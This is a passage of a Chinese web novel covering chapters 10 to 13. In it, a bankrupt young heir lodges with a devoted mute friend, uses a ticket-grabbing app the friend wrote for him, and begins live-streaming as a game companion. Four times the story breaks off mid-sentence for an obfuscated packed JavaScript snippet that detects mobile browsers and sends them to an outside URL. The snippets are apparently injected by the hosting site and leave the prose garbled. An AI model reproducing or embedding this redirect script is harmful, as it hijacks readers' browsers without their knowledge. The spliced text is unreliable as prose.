直到无意间听说了浔少爷家里的事情,在漆黑的小巷看到那个蜷在地上疼得脸色发白的身影。 所有埋藏的记忆,压抑在心底的情感,在那一刻全部爆发。 他差一点就踩断那几根触碰到浔少爷的手指。 还有身体的欲望,周祁桉知道自己不正常,第一次做梦的对象是浔少爷,还拿浔少爷的衣服嗅闻。 可是自从切断所有能让自己记起浔少爷的联系,决定忘记浔少爷,他就变得清心寡欲,没有丝毫那方面的兴趣,不止一次被许赫扬他们调侃是不是正常男人。 周祁桉自己也以为隔绝了这种受身体欲望支配本能,原始动物一般让他觉得恶心的媾.和冲动。 然而浔少爷才在自己家里住了两个夜晚,他就沦为了被自己厌弃的低等的发情动物。 冷水都浇不灭这种欲望。 这样不行,会吓跑浔少爷的。 周祁桉好不容易捡到机会,把肖想的月亮摘进井里,捧清水洗去他身上的污痕。 不能那些人落井下石欺负浔少爷,他自己也在这个时候欺负他,乘人之危。 周祁桉只想他的月亮皎洁,夺目,有一天会重新把它亮闪闪的挂回夜空。 应浔不知道小哑巴在想什么。 只知道自己现在有了稳定的住处,洗衣机也修好了,他找到了一些能让他赚钱的兼职,这让他觉得自己不是一无是处的娇惯少爷。 糟糕落魄的生活也有了一丝希望,不再是暗无天日。 [浔哥,午饭我已经做好了放在冰箱,你中午记得按时吃饭哦。] 送走维修工和装门师傅,小哑巴将屋子收拾干净,就按照昨晚签的合同上的内容,给自己做好了午饭。 然后,在出门前开始了啰嗦的叮嘱。 应浔点头:“我知道了,你放心出门吧。” 周祁桉又检查了遍屋子,没有什么落下,这才打开房门安心出去。 接连几天都是这样。 一大早,无论应浔什么时候起床,都能看到小哑巴从市场或是超市买完菜回来,给自己做好了美味的早餐和中午要吃的饭。 还会把屋子收拾得干干净净,每天都往花瓶里插几支自己喜欢的花。 他好像每天早上还有晨跑一个小时的习惯。 “你到底每天早上几点起啊,怎么能做那么多事?” 某天早上,应浔天蒙蒙亮的时候被尿憋醒,去卫生间上厕所,正撞见小哑巴穿了运动服从外面晨跑回来。 夏天的天亮得早,还不到五点钟,东边的天空就泛了层鱼肚白。 应浔睁着朦胧的睡眼看向从外面回来的小哑巴,穿深蓝色的上衣,黑色的运动短裤。 不知是小哑巴个头太高,买的这身运动服不太合身,还是衣服被汗水浸湿贴在身上的缘故。 那层深蓝布料将他的上身裹得紧实,胸肌和腹肌鼓鼓囊囊。 小哑巴有着一张干净帅气的脸,不用那双漆黑的无机质眼眸怪异看人的时候,很有青春男大的感觉。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16480989|185643||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 尤其是温温和和,冲应浔无辜笑时,特别像一只乖巧的大狗狗,很容易让人心生不忍的情绪。 可就是这样一个乖巧无辜的年轻男生,身躯却总给人强烈的压迫感,高大,悍利,手臂和大腿上的青筋浮凸明显,线条结实紧绷。 让应浔感觉,小哑巴轻易能够单手举起自己。 事实上,被小哑巴捡回的那个夜晚,他就是一手拎着自己的行李箱,一手托着自己的屁股把他背回家的。 还有夏季短袖遮不住的一些伤痕,从看不清的肩背处蜿蜒而下,仿佛一条条阴暗攀爬的毒蛇。 那伤痕应浔小时候就见过,小哑巴说是一场车祸留下来的。 小时候看到就觉得骇人,现在随着时间推移,小哑巴长高,那些伤疤也像吸收了养分似的,扎根在皮肉上生长蔓延,变得越发狰狞可怖。 那个早晨光线昏蒙,从窗户吹进来的风沁着清晨湿润的水汽。 应浔惺忪的眼睛一会儿看和平常不太一样的周祁桉有些性感野性的脸,一会儿看他和小时候一起长大的遮不住的狰狞疤痕。 他觉得小哑巴不知不觉已经长成一个男人了,又好像和小时候一样。 不过最后,所有的思绪全都化作清晨一场薄雾,应浔问了声周祁桉在干吗,倒头回了房间昏昏大睡。 直到这个清早,应浔又想起来。 小哑巴比划:[一般是四点,有时候三点半。] “你起那么早做什么?起得来吗?”应浔震惊,这个时间点对他来说只到睡眠中场,他最落魄难熬,压力大到崩溃的时候,也没有这么早醒来。 周祁桉如实告诉他:[锻炼,做饭,思考一些东西,做一些事,习惯了就好了。] “厉害。” 应浔忍不住冲小哑巴竖了个大拇指。 “你这么自律,做什么都会成功的。” 小哑巴耿直地笑笑:[希望如浔哥所言。] 总之,两个人的同居生活就是这样的。 小哑巴每天都很自律,生物钟准时,还很勤劳,每天的时间都安排得满满当当,再忙都会给应浔做一日三餐。 实在有一天晚上赶不回来给他做晚饭,就提前订好外卖让人送回家,还有涂抹了他最喜欢的草莓味酸奶的水果捞。 小哑巴这样细心周到,体贴入微地伺候他,应浔有时候想,他会被周祁桉惯坏的。 要是以后租房合约到期了,或是小哑巴交了女朋友,他该怎么办? 不行,还是要努力赚钱。 应浔不能让自己的生活方方面面都被周祁桉渗透。 10. 骄矜美人破产第十天 应浔打定主意要努力挣钱。 只是很快,他就发现自己在线上找的那些兼职挣到的钱十分有限。 各种游戏号和视频号虽然很快都能租出去,但是租期长,数额小,金钱回报率低。 帮抢票的工作也因为手速、网络等因素,抢到的可能性不太高,尤其是回报比较大的明星演唱会的门票。 至于其他的诸如陪小学生背单词等,不是每天都有这样的任务可以接,小朋友经常不听话,还有中介扣中介费。 所以没多久,应浔就没有第一天挣到超出最低余额42.4那种满足快乐的感觉了。 最重要的是他的脚还没有完全好,暂时还不能出门去找线下的工作,这就很令人发愁。 [浔哥,你怎么了,看起来心情不太好。] 新一天的早上,周祁桉照常做好早饭,两人坐到餐桌前,小哑巴似乎看到自己情绪不佳。 应浔耷拉着脑袋,有些食不下咽:“没什么,就是在想我的脚什么时候能好。” [伤筋动骨一百天,虽然只是扭了脚,但也要修养好,不然以后有可能留下后遗症。]周祁桉耐心宽慰。 道理应浔都懂,他可不想以后一瘸一拐地走路,太丑了。 可是他要挣钱,线上这些兼职已经满足不了他了。 应浔心不在焉地哼了一声。 [对了,浔哥,我看你最近在做门票代抢。]小哑巴忽然放下筷子,[你用普通的方式抢效率太低,还有其他兼职要做,不能时时刻刻盯着,所以我帮你做了个专门抢票的小程序。] 表述内容多的时候,小哑巴就会拿出手机给应浔打字。 但今天,除了这些文字,他还向应浔展示了一个自己做的小程序。 “你还会做抢票的小程序?”应浔抬起头,终于提起一点精神。 周祁桉微微笑着:[我大学主修的计算机,做这些东西对我来说很简单。] “这样啊。”说来应浔还不知道小哑巴现在念的什么大学,学的什么专业,之前在小巷看到小哑巴那么会打架,他生怕小哑巴不学好,消失以后辍学了。 现在听他说起自己主修的专业,应浔感到意外的同时,心底也舒了一口气。 毕竟周祁桉学习成绩一直很好,为了他专门跳了一级,如果不是方便伺候他,周祁桉还能跳。 所以当年小哑巴转学后,学校的老师都很不舍,应浔也害怕因为自己耽误了小哑巴。 “有了这个小程序就能抢到票吗?”应浔思绪一晃,问周祁桉。 小哑巴打字告诉他:[百分百成功率不能保证,尤其是大热门票,但几率要比你用的这些抢票软件高很多,并且我帮你设计了多张门票全程二十四小时监控,自动抢票,这样你就不用一直盯着手机和电脑,可以腾出时间去做其他的事情了。] “你也太厉害了,周祁桉。”应浔上挑的眼眸瞬间点起光亮,一张昳丽漂亮的脸上也扬起令人晃神的笑。 周祁桉就喜欢浔少爷肆意明媚的样子,可惜浔少爷就像天边的皎月,又像一只高贵倦冷的猫,大多数时候都吝于展露这样的笑意。 他心情跟着很好:[那浔哥把手机给我,我帮你把程序装上去。] 应浔一向不怎么会摆弄技术相关的东西,自然而然把手机给了小哑巴。 安装好,周祁桉问:[浔哥,要不我们加个微信吧,我等下要出门,如果你有不懂的地方,可以给我发消息问我。] 应浔这才想起被小哑巴收留了好几天了,他们两个还没有互相加联系方式。 一来两人天天抬头不见低头见,有什么事都在家里直接说清,面对面解决了。 二来应浔心里还在意着小哑巴当年不告而别,专属两人的手机号成了空号,所有的联系方式也都被单方面删除。 偶尔也想过问小哑巴当初为什么突然离开,这些年去了哪里,发生了什么。 可应浔心里堵着一口气,又拉不下脸面。 人家走都走了,不告而别,自己却一直记挂着,仿佛很在意这个狗腿似的。 但现在小哑巴收留自己,像以往那样尽心尽力地伺候他,还给自己做抢票的小程序,应浔态度软了下来,打开二维码,抬高下巴,骄矜地对周祁桉说:“那你扫我吧。” 小哑巴漆黑的眼眸似是闪过惊喜,立刻拿出手机:[好的,我扫浔哥。] 两人添加了联系方式。 周祁桉还要了自己的手机号码,应浔想着,万一以后自己不小心把微波炉炸了,或是被那些追债的人找到。 小哑巴还是很有用的。 他于是不计前嫌,大方地把手机号给了小哑巴。 周祁桉自己说过,不会再让那些人欺负他。 安装完软件,添加完联系方式,小哑巴再一次出了门。 应浔不知道周祁桉每天都在忙什么,有很多事情要做的样子,猜他应该和自已一样在做暑期兼职,毕竟周阿姨过世后,小哑巴也是一个人了。 他等小哑巴走后,尝试用了一下这个抢票程序。 别说,还挺好用的,应浔将自己帮抢的几张门票信息添加上去,没多久真让它自动抢到了。 应浔小赚了几笔佣金,决定以后对周祁桉好一点。 他纤白手指不自觉点开小哑巴的头像。 仿佛走投无路的那个夜晚被周祁桉从路边捡回家,第一次走进小哑巴的居所,应浔充满好奇地望着着对他来说十分陌生的另一个小哑巴的私密空间。 周祁桉的微信头像是一张雾蒙蒙的飘了零星雪花的树林,应该是冬季拍的,接近夜晚,图片上昏蒙一片。 树上枝叶落下,光秃秃的,一派枯寂的景象。 雪花伶仃地飘落,马路栏杆延伸向远方。 应浔有些意外。 他还以为像小哑巴那样在外人面前怪异冷酷的人,会用那些经典的酷哥专属头像,氛围感,朦胧神秘,多是黑色系。 现在这张头像也是偏暗色系的,却苍凉,冷寂。 还是风景照。 不是说只有上了年纪的人才会喜欢用风景照当微信头像吗? 应浔盯着这张图片,又去点小哑巴的朋友圈。 可朋友圈一片空白,什么都没有。 应浔:“……” 他在期望看到小哑巴什么? 不再将注意力放在探究周祁桉的头像和朋友圈上,应浔继续自己的赚钱大计,代抢票这边有了小哑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16480990|185643||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 巴给他设计的小程序,帮他腾出一些时间,他决定再给自己多找一份兼职。 做什么呢? 有什么是能赚钱比较多,卡学历和技能不那么高,还能长线发展的工作呢? 好吧,他又开始眼高手低,犯少爷毛病了。 应浔驱散这种不切实际的想法,滚动着鼠标,浏览兼职网页,像上一次那样筛选和整合信息。 一条链接从微信界面弹了出来——滴滴,友人开黑,等你上线发车啦! 应浔迷惑,点开。 发现是曾经一块开黑打游戏的其中一个富二代小团体的成员发来的消息,带他躺出各种标的,他最信任要好的那个。 [对不起,浔哥,发错了。] 那边很快接过来一条消息。 应浔:“哦。” 沉默一会儿。 对面似是小心翼翼地问:[浔哥,你最近还好吗?] 应浔:[没死。] 谢临砚打字的手指顿了又顿,落寞地望着这两个字。 许久,才又重新编辑一句:[对不起,浔哥,我当时不是故意不帮你,你知道的,我家那时候正在筹钱还银行的一笔贷款,我又是家中老小,没什么话语权。] 应浔:[嗯,我知道,不关你的事。] 谢临砚:[浔哥你现在在哪?我这段时间跟我表哥学做生意,赚了点钱,你要是有需要,可以先拿去用,你有地方住吗?我上次去找你看到你家都被查封了,要不要我帮你租个房子?] 应浔:[不用了。] 他现在有地方住,也过得挺好的。 那边一直显示“对方正在输入中……”,似乎在斟酌措辞。 突然,一个飘着零星雪花的雾林头像闯入眼帘。 小哑巴的消息插进来,问他:[怎么样,浔哥,那个小程序还用得顺手吗?] 应浔呆了一秒,左滑删掉曾经狐朋狗友的对话信息,给小哑巴打字:[还行,确实像你说的抢票几率比我之前高了很多,到现在为止已经赚了好几笔佣金了。] 周祁桉:[能帮上浔哥就好 ^_^ ,如果有bug或是哪里用得有问题,浔哥一定要第一时间告诉我哦,我帮你优化。] [嗯,我会的。]应浔回过去信息。 小哑巴:[那我继续忙了,浔哥记得中午按时吃饭。] [我知道了。]应浔答应他。 小哑巴果然是大爹,不在家里还能这么啰嗦,总是一个劲儿地叮嘱自己要按时吃饭,好好吃饭。 ……不过,确实受用。 他的胃在这段时间规律饮食和吃的饭菜干净营养的情况下,舒服了很多,不再动不动就难受胃疼,照镜子时看到脸上也有了血色。 应浔的心情忽然间变得轻快。 谢临砚还在给自己发消息,对话框再一次弹了出来,他看到,直接无视,一句也不想回了。 倒不是“迟来的深情比草贱”,应浔在懂得了困境时看透人心的道理后,也在刚才对方向他道歉,诉说当时的难处时,又领悟了一个道理。 帮人是情分,不帮是本分。 说到底,那些人不欠自己的。 他没必要道德绑架别人。 11. 骄矜美人破产第十一天 但是谢临砚的出现倒是给了应浔一个灵感。 应浔在家里破产前有一个以他为首,所有人都捧着他的富二代小团体。 其中有些人从南城跟来了京市,谢临砚就是其中一个,也是家里生意越做越大,将公司迁到了更广阔的商业领域。 他们这些富二代们平日里没什么正经事做,大多数时间都是消遣玩乐。 谢临砚是除小哑巴外,最会哄自己开心,带自己享乐上最合自己心意的,经常被小团体的其他人调侃是皇帝面前的“奸臣”。 他和小哑巴一个是将自己伺候得舒舒服服的狗腿,一个是带自己各种享乐的纨绔朋友。 两个人在南城的时候也总是互相看不顺眼。 虽然不知道他们两个为什么互相看不顺眼,但这不是重点。 重点是,应浔大一入学后不久,迷上王者这款MOBA游戏,用来打发军训时无聊又难熬的时间。 但他水平不太好,菜,刚开始总是被骂,被举报,却又菜又爱玩。 他那些小团体的朋友看不过去,就组队带他开黑。 如果小团体里的成员有事没时间组排,谢临砚就会给他找陪玩和代练,陪他和带他上分。 而为了让自己有游戏体验,还会提前将那些陪玩“培训好”,让他们打游戏的过程中要千方百计地哄自己开心。 比如给自己打蓝buff,打到剩最后一丝血,让自己来收。 自己有些屎一样的操作,都能被夸。 “哥哥死都死得那么帅,我真喜欢~” “别怕,哥哥,我们替你报仇!” 现在想来,应浔觉得自己以前过得真的是纨绔富二代的昏庸生活,纸醉金迷的。 怪不得落魄后他们都不愿意搭理自己,原来是自己太骄纵难搞了。 换作自己,也不愿意天天捧别人臭脚。 不过那些陪玩给了他们多少钱来着? 应浔记得一小时好像有几百,名气高的技术主播之类的陪玩,尤其是退役职业选手,价钱更高。 哄开心了,他还会给这些人打赏,在他们的直播间kuku刷飞机和火箭,经常将自己刷成了他们的榜一大佬。 好赚钱啊。 他的钱以前怎么那么好赚? 应浔都想时光回溯,回到过去给自己打工,他这么了解自己,一定能从自己身上赚很多钱。 然而,时光不能倒流,他也是在异想天开。 但应浔得到一个启发,他也可以去当陪玩,开个直播。 虽然自己技术不好,带飞不了别人,不过不是还有娱乐陪和娱乐主播吗? 万一碰到个像以前的自己那样的有钱大冤种,哐哐给自己刷飞机,砸钱,他不就赚了吗? 就算没人刷,他也没有太大的损失,顶多就是损失点时间成本。 等他的脚好了,他就找家奶茶店摇奶茶去。 说干就干,应浔立刻打开手机。 正好之前打赏主播下载的那个抖鲨app没有卸载,他把以前的账号注销,重新申请了一个。 然后按照后台的流程提示,给自己注册了个主播的身份号,并且取了个简单粗暴的id,叫“Xun_Y想要暴富”。 是自己名字的缩写,倒了过来,应该不会有人认出自己吧? 毕竟从曾经给主播刷钱的阔少爷变成了希望别人打赏自己的“乞讨”小主播,应浔还是很有落差感和羞耻感的。 他尝试着开播,直播内容暂定的就是打游戏。 还特地点开其他一边直播一边接陪玩的主播直播间,有样学样,在直播间的界面上挂上“一个飞机可跟主播车”和“一个舰长免费陪玩陪聊”。 弄好这些,他就开始直播了。 不过大号贵族号租出去了,应浔只好申请了个小号,正好和他本人一样,从0开始。 直接跳过新手学习,应浔用游戏送新手玩家的老亚瑟打起了游戏。 他其实不想玩这个英雄,更喜欢玩诸葛亮、杨玉环这类长得帅气好看的法师。 可是这是个新号,只有系统送的两个基础英雄亚瑟和后羿。 后羿他更不喜欢,长得不符合自己的审美,所以只能先玩着老亚瑟,等攒够金币再买自己喜欢的英雄。 两个小时过去,应浔抬头看了眼直播间的观看人数。 0。 从开播到现在,他每隔一会儿就忍不住看一眼右上角的数字,可始终都是0,没有任何变化,根本没有人看他直播,更别提给他刷飞机和火箭了。 应浔想,应该跟自己是新人有关,新人没有流量是正常的。 还有自己玩的英雄,不是观众们喜欢看的,他之前就喜欢看操作帅气,玩的英雄也帅气的主播。 还是等明天自己的贵族号收回来,用大号玩吧。 第二天,应浔的大号租借到期,被还了回来。 他迫不及待用自己擅长还穿了华贵皮肤的几个帅气好看的英雄玩了几把,直播间依旧没有人观看。 第三天依旧如此。 应浔有些丧气。 没想到做主播比自己想象中困难,他还以为随便播播就会有人看,然而现实再一次教他做人了。 应浔产生了放弃的念头,打算还是不做直播,去找别的事情做。 可是关上直播间的那一秒,他心里又有些不甘和不屈,这么一点小小的挫折就让他退缩了吗? 别人能做,为什么他不能? 这对他来说已经是门槛比较低,有可能得到超出预期回报的工作了,不能只开个头就不了了之。 应浔打定主意不能就这么放弃,至少要再尝试一下。 他于是一边挂着抢票程序做代抢帮忙抢票,一边接一些零零散散的线上兼职的单子,一边打开直播平台的其他主播,试图学习别人是怎么直播的。 与此同时,应浔还在小红薯上发了一个帖子,征询网友们的意见——新人主播怎么做才会有人看? 很快就有热情的网友回复他。 但是这名网友的话很直白,并且直戳痛点,上来就给应浔一记沉痛的打击。 ID“力力力不吃荔枝”:[说实在的,现在的直播环境比较饱和,风口和红利期已经过了,大把直播的人都有。新人,尤其是没有团队在背后支撑的新人做起来很难。] 应浔看到这条评论,一下子泄了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16480991|185643||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气。 [但也不能一概而论。]忽然,“力力力不吃荔枝”又回复一句,[任何时候都有机会,你刚才说你是做游戏娱播的?] 应浔回复:[对,因为我技术不太好,只能走这条路。] “力力力不吃荔枝”:[看来你对自己的定位很清晰,有这样的自我认知已经打败了很多下头主播。] 应浔心想,破产后被生活打击了一个多月,找兼职受挫了这么久,他能不认清自己几斤几两重吗。 “力力力不吃荔枝”:“不过娱乐主播也不是那么容易做的,比技术主播更难出头,需要自身人格魅力很大。你声音好听吗?” 应浔不知道对方为什么问这个问题:[应该还可以。] “力力力不吃荔枝”:[应该还可以是怎样的?你要知道很多人都是声控,喜欢声音好听的主播,就算脸长得不好看,听听声音也能满足。你要不要试试发一句语音让大家听听看?] 应浔犹豫了几秒,点开语音键说了句话发到评论区:[咳咳,这样可以吗?] 那声音清越,动听,清透如山间缓缓流淌的泉水,尾音却又带一点慵懒和上扬,像个小勾子一样,轻易就勾中了耳膜。 “力力力不吃荔枝”:[雾草,主播的声音这么好听!你刚才说的‘应该’太谦虚了。] 评论区也一下子炸出了许多新的用户,直呼应浔的声音好听,比她们听到的很多专业声优都好听。 可也有网友质疑:[万一是用了声卡或者夹出来的呢?还有,众所周知,声音好听的往往长得不怎么样,很多都是大胖子。] 从来对自己的外貌很自信的应浔看到这条评论,被激起了胜负欲:[我没有夹,没用声卡,也不是胖子,我觉得我长得挺帅的,没有不怎么样。] [啊,刚才还觉得主播对自己有清晰的认知很拉好感,现在一秒下头,男生最帅的时候是不认为自己帅,你这样说自己,看来又是个靠声音诈骗的普信丑男!] 靠声音诈骗? 丑男? 应浔瞪着这两个字。 他落魄过,狼狈过,可没有丑过,就算找兼职一次次被拒,灰头土脸,也会每天清晨将自己收拾得清爽体面,让自己时时刻刻保持最完美的状态。 并且从小到大,应浔听过的最多的赞美之词就是他长得好看,小时候经常被夸像瓷娃娃一样漂亮。 应少爷从来没想过有一天自己会和“丑”这个字粘上边。 心里不服,应浔从手机相册里随便翻出一张自己的照片就甩到了评论区,试图证明自己没有相貌诈骗。 发完,他就后悔了。 应浔虽然决定做直播,看能不能钓到一个像以前的自己那样的大冤种,却没打算暴露长相。 他还是有一点羞耻感的,也不想被认识的人看到。 尽管抖鲨平台很大,平台里的主播那么多,像他这样开播了三天都是0个人观看的透明小主播,被熟人看到的概率等同于0,他也不觉得靠自己的双手赚钱有什么丢人的,但还是有些顾虑。 应浔于是快速删除了这条回复,撤回了发出去的照片。 然而,还是有眼尖的网友看到了。 12. 骄矜美人破产第十二天 [啊啊啊,主播你刚才是撤回了自己的照片吗?为什么要删掉评论啊,原来你长得这么好看!!!] [真的吗?贴主发自己照片了?]没有蹲守评论区看到这条评论的网友发出疑问。 [真的发了,而且真的超级好看,我要怎么形容呢!] 这名网友仔细回忆着自己刚才看到的画面。 正在评论区凑着热闹,也好奇有着这么好听声音的男生是不是大家说的靠声音诈骗的普信丑男。 一道修长的身影和一张昳丽漂亮、极具视觉冲击力的面孔闯入了她的视线。 这名网友是追星的,又经常在各种短视频平台和小红薯刷各种各样的帅哥,看赛博男菩萨,可是阅尽那么多美男,都没有刚才那一幕带给自己的视觉震撼大。 好漂亮的眼睛,好慵懒高贵的眼神,看人向看狗。 鼻梁上是不是有一颗小痣? 评论删得太快了,没能看清,就记得好像是什么人在飘着红叶的秋日枫林下抓拍到的侧身回眸的瞬间。 只一眼,就惊艳得让人无法移开眼神,过目难忘。 怎么就忘了保存呢? 这名网友十分后悔,也怪她当时看得太投入了,被惊艳到,忘了将图片保存或是截下来。 等恍然回神的时候,被提示评论已删除,什么都看不到了。 她将自己看到的画面描述在评论区,吃了学理工科,是全班唯二机械女的亏,脑海里词汇量有限,全程都是:[长得太牛逼了,好看,超级好看,无敌好看!] 评论区其他网友不信:[真的假的,你怕不是托吧?] [真的,我也看到了,真的好好看!]又有一名网友冒出来,[而且能明显看出来不是盗用的别人的网图,我不知道怎么形容,主播你在哪里直播?快告诉我你的直播间房号是多少,我要成为你直播间第一个观众!] 啊? 真的吗? 有人要看他的直播,打破他持续了三天的“0”人观看记录? 应浔刷到这条评论,有些不敢相信,迟疑着在评论区放下自己的直播平台和房间链接。 没几秒钟,直播间右上角的数字真的发生了变化。 从0一下子变成了十几二十,还在不断上涨。 [哇,真的是新人主播,Xun_Y想要暴富,主播的名字还真直白,虽然我也想暴富,哈哈哈哈。] 应浔看到不断跳动的直播间人数和飘在屏幕上的第一条弹幕,昳丽上挑的漂亮眼眸微微睁大。 他原本不过是发个询问贴,想看看能不能从网友那里得到什么有用的建议,没想到会直接将观众引流了过来。 “那什么,谢谢大家来到我的直播间。”应浔一时有些无法适应突然来了这么多的人,“是新主播,刚直播第三天,因为现在很缺钱,所以取了个想要暴富的名字。” 他一字一句地回复观众,一整天都专注在直播间怎么才会有人进来,好几个小时没有喝水,嗓子有些干。 但不影响他的声音好听,抓人耳膜。 刚才在小红薯评论区,应浔发出去的语音只有短短几个字,现在直接在直播间说话,还一口气说了这么多,跟过来的网友们觉得自己的耳朵仿佛接受了一场洗礼。 [主播的声音好好听!爱听多说!] [感觉一不小心挖到了一枚宝藏。] [主播刚才真的发照片了吗?怎么不露脸啊,我都没来得及看到,呜呜呜,大哭.JPG] 应浔看着屏幕上飘荡的哭泣表情包,解释道:“刚才是被大家激到了,有些不服气,想证明自己不丑,但发完想起来自己不太方便,也没打算露脸,就连忙删除了评论。” 应浔骄纵,自尊心强,还经常少爷脾气拉不下脸面。 但性格还算直,不喜欢藏着掖着,肚子里的肠子九曲十八弯,所以没掩饰刚才的举动。 直播间的观众没想到这个主播这么直白,像他取的ID一样。 [好吧,尊重主播的直播方式,就是有点可惜,主播长得这么好看,露脸的话用得着连续三天没有一个人观看吗?] 应浔心里苦涩。 他要是知道只发了张照片,还立刻被撤回了,就能引来这么多人到直播间,不如就露脸了。 可那样的话,万一被认识的人看到,尤其是那些看他不顺眼的死对头,他岂不是很难堪? 应浔想明白归想明白,还是做不到完全放开。 他重新打开游戏,问大家想看他玩什么。 “我诸葛亮和杨玉环玩的还可以。” [玩杨玉环的帅气男中单?]直播间的观众一秒抓住重点,[主播你是南通?] “南通?”应浔迷惑眨了眨眼,“南通不是一个市吗?我是人,不是一个市。” [哈哈哈哈,宝宝,你太可爱了,她的意思问你是不是男同,因为喜欢玩杨玉环的男生,尤其是长得特别好看的男孩子,很多都是男同。] 应浔愣了愣,盯着“男同”两个字,好半天反应过来。 仿佛想到了什么,他昳丽白皙的脸上迅速爬上一抹热意,语气也有一丝自己察觉不到的不自然。 “我不是男同,不喜欢男人。” [嘿嘿,友友应该也只是调侃一下,主播不要慌。对了,主播刚才说是因为很缺钱才会想着开直播和做陪玩?]一个直播间的观众发出一条弹幕问。 隔着一层网络,又没有露脸,应浔的心理负担没那么大了,嗯了声:“对,家里发生了些不好的事情,妈妈也生病了,所以急需赚钱。” [啊,原来这样,很抱歉提到这些,那主播怎么不现实中找份工作呢?做直播的不稳定性太大了。] 网友们在听说了主播的情况后,很友善真诚地给出建议。 应浔垂下眼:“我的脚受伤了,暂时只能做一些线上兼职,等脚好了,我就会再找一些其他的工作来做。” [可怜的宝宝。]直播间的观众一下子怜惜了,[听你的声音年纪应该不大吧?是大学生?] 应浔点头:“19岁,开学就要大二了。”他顿了顿,犹豫了一下,问,“没有人要跟车吗?我水平不怎么样,但诸葛亮和杨玉环绝对不坑。” [哈哈哈,看得出主播是真的想赚钱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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应浔绞尽脑汁,将以前谢临砚点的那些陪玩夸他的话术从自己口中复述了出来,还特地夹了夹嗓音,听得自己都起了一身鸡皮疙瘩。 喊完最后一声哥哥,直播间的弹幕好像停滞了,他面前的光线也有些不太对,房间忽然有些暗。 应浔连忙瞥了眼电脑右下角。 才五点钟,按道理这个时间点天色还很明亮,远不到夜幕降临的时刻。 应浔有些疑惑,抬起头,想知道是怎么回事,是不是变天了,天气预报不是说下午会有一场雷阵雨吗? 京市的夏季飘忽不定,常常上一秒晴空万里,下一秒钟就飘来一大片乌云遮住天空,继而降下倾盆大雨。 要是要下雨的话,那应浔要赶紧去阳台把窗户关好,把晾好的衣服收起来才对。 脸上的表情却一下子僵住。 就见最近很忙,最早回来也是晚上七八点钟的小哑巴不知什么时候回到了家里。 高大的身躯笼在自己面前,遮住屋子里一大片光线。 小哑巴脸上的神情十分古怪。 看到自己抬头看他,抬起粗粝的手指比划问:[浔哥,你在喊谁哥哥?他什么技术很超标?] 13. 骄矜美人破产第十三天 应浔呆了呆。 望着不知什么时候站在自己面前的小哑巴。 好社死。 他这么问自己,一定是听到了自己刚才让人浑身直起鸡皮疙瘩的夹子音了。 啊啊啊。 周祁桉怎么在这个时候回来了! 应浔的大脑轰一声炸开一朵蘑菇云。 从脸颊到脖子颈,浑身都升腾着热意,耳根红得快要滴血。 他手忙脚乱关掉直播间,“啪”一声合上电脑。 “周祁桉,你回来怎么不说一声?还有,就算我卧室的门开着,你进来之前能不能先敲一下房门?” 应浔快要丢死人了。 继被小哑巴看到自己流落街头崩溃大哭的狼狈一面,又被他看到自己用夹子音矫揉做作谄媚别人的样子。 他和周祁桉一定是八字不合。 [浔哥,我不会说话。]小哑巴看起来有些委屈,[而且我敲门了,还敲了好几声,是浔哥你太专注了,没有听见。] 啊,是吗? 应浔尴尬地抓了把头发。 周祁桉敲门他没听见? 应浔的脸更红了,像前几日被小哑巴放在煎锅里煎得红红的大虾,又像春日果树上挂着的快要挤出红艳汁水的熟透了的樱桃。 他强忍着心慌和羞赧,极力让自己看上去镇定,在曾经的狗腿面前维护自己的颜面:“可能是我在忙别的事情,没有注意到,你今天怎么回来得这么早?” [浔哥,你还没回答我,你刚才在叫谁哥哥?] 小哑巴显然不是那么好糊弄,没那么容易被转移注意力,依旧追问刚才的问题。 应浔掩唇轻咳一声,含糊道:“没什么,你可能听错了。” [没有听错,我听到浔哥喊了,你还说他技术超标。] 小哑巴打破沙锅问到底的架势,那眼眸黑漆漆的,仿佛能吸噬一切的黑洞,爬着丑陋伤疤的手指比出的手势却又比平时多了丝急切。 应浔莫名有些心虚,却还是虚张声势道:“是啊,我就叫‘哥哥’了,怎么了?我打算做直播和陪玩,叫两声‘哥哥’哄老板们开心,让他们给我刷礼物,不是很正常吗?” 况且他还喊姐姐了,为什么小哑巴偏偏就单揪着“哥哥”这个称呼不放? 周祁桉听了,高大身躯似乎怔了一怔,脸上的神情也变得更加古怪。 